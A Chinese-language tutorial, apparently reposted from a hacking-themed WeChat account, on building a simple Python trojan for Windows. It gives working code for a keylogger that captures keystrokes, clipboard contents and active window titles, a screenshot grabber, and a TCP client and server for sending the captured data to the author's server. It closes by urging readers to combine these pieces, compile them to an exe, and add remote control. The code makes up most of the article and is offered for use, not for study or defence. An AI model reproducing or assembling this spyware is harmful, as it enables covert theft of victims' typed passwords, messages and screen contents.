前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何使用Python编写简易木马程序

如何使用Python编写简易木马程序

作者头像
知识与交流
发布2021-04-02 14:59:36
3.1K0
发布2021-04-02 14:59:36
举报
文章被收录于专栏:黑客技术家园黑客技术家园

这次我们使用Python编写一个具有键盘记录、截屏以及通信功能的简易木马。依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码。

首先准备好我们需要的依赖库,python hook和pythoncom。

下载(这个链接和原文一致)安装python hook

下载安装pythoncom模块:

0x01 键盘记录器

说起Keylogger,大家的思维可能早已飞向带有wifi功能的mini小硬件去了。抛开高科技,我们暂且回归本质,探探简易键盘记录器的原理与实现。

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓“人生苦短,快用Python”。

代码部分:

代码语言:javascript
复制
# -*- coding: utf-8 -*-  from ctypes import *import pythoncomimport pyHookimport win32clipboard
 
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
 #def get_current_process():
 
    # 获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()
 
    # 获取进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))
 
    # 将进程ID存入变量中
    process_id = "%d" % pid.value 
    # 申请内存
    executable = create_string_buffer("\x00"*512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
 
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
 
    # 读取窗口标题
    windows_title = create_string_buffer("\x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
 
    # 打印
    print
    print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
    print
 
    # 关闭handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
 # 定义击键监听事件函数def KeyStroke(event):
 
    global current_window 
    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
    if event.WindowName != current_window:
        current_window = event.WindowName        # 函数调用
        get_current_process()
 
    # 检测击键是否常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii <127:
        print chr(event.Ascii),
    else:
        # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE]-%s" % (pasted_value),
        else:
            print "[%s]" % event.Key,
    # 循环监听下一个击键事件
    return True
 # 创建并注册hook管理器kl = pyHook.HookManager()kl.KeyDown = KeyStroke 
# 注册hook并执行kl.HookKeyboard()pythoncom.PumpMessages()12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576

【知识点】钩子(Hook):Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。

撸代码时一定要注意严格区分大小写。检查无误后启动keylogger:

然后可以尝试打开记事本写点东西,过程中可以看到我们的keylogger窗口正在对我们的输入实时记录:

切换窗口时会自动跟踪到新窗口(众:这点功能都没有还敢叫keylogger吗!),light教授趁机骚扰一下疯狗,可以看到我们的keylogger已经跟踪到QQ聊天窗口,并忠实的记录下我输入的一切。

0x02 看看你在干什么:编写一个screenshotter 截屏实现起来更简单,直接调用几个gui相关的api即可,我们直接看代码:

代码语言:javascript
复制
# -*- coding: utf-8 -*-  import win32guiimport win32uiimport win32conimport win32api 
# 获取桌面hdesktop = win32gui.GetDesktopWindow()
 # 分辨率适应width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
 # 创建设备描述表desktop_dc = win32gui.GetWindowDC(hdesktop)img_dc = win32ui.CreateDCFromHandle(desktop_dc)
 # 创建一个内存设备描述表mem_dc = img_dc.CreateCompatibleDC()
 # 创建位图对象screenshot = win32ui.CreateBitmap()screenshot.CreateCompatibleBitmap(img_dc, width, height)mem_dc.SelectObject(screenshot)
 # 截图至内存设备描述表mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
 # 将截图保存到文件中screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')
 # 内存释放mem_dc.DeleteDC()win32gui.DeleteObject(screenshot.GetHandle())123456789101112131415161718192021222324252627282930313233343536

看看效果如何:

0x03 综合运用:完成一个简易木马 无论是keylogger记录下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需要构建一个简单server和client端来进行通信,传输记录下的内容到我们的服务器上。

编写一个简单的TCPclient

代码语言:javascript
复制
# -*- coding: utf-8 -*-import socket 
# 目标地址IP/URL及端口target_host = "127.0.0.1"target_port = 9999
 # 创建一个socket对象client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 # 连接主机client.connect((target_host,target_port))
 # 发送数据client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")
 # 接收响应response = client.recv(4096)
 print response1234567891011121314151617181920

编写一个简单的TCPserver

代码语言:javascript
复制
# -*- coding: utf-8 -*-import socketimport threading 
# 监听的IP及端口bind_ip = "127.0.0.1"bind_port = 9999
 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 server.bind((bind_ip,bind_port))
 server.listen(5)
 print "[*] Listening on %s:%d" % (bind_ip,bind_port)
 def handle_client(client_socket):
 
    request = client_socket.recv(1024)
 
    print "[*] Received:%s" % request
 
    client_socket.send("ok!")
 
    client_socket.close()
 while True:
 
    client,addr = server.accept()
 
    print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])
 
    client_handler = threading.Thread(target=handle_client,args=(client,))
 
    client_handler.start()1234567891011121314151617181920212223242526272829303132333435

开启服务端监听:

客户端执行:

服务端接收到客户端的请求并作出响应:

0x04 结语 最后,你需要做的就是把上面三个模块结合起来,一个简易的具有键盘记录、屏幕截图并可以发送内容到我们服务端的木马就完成了。可以使用py2exe把脚本生成exe可执行文件。当然你还可以继续发挥,加上远程控制功能。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-12-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑客技术家园 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档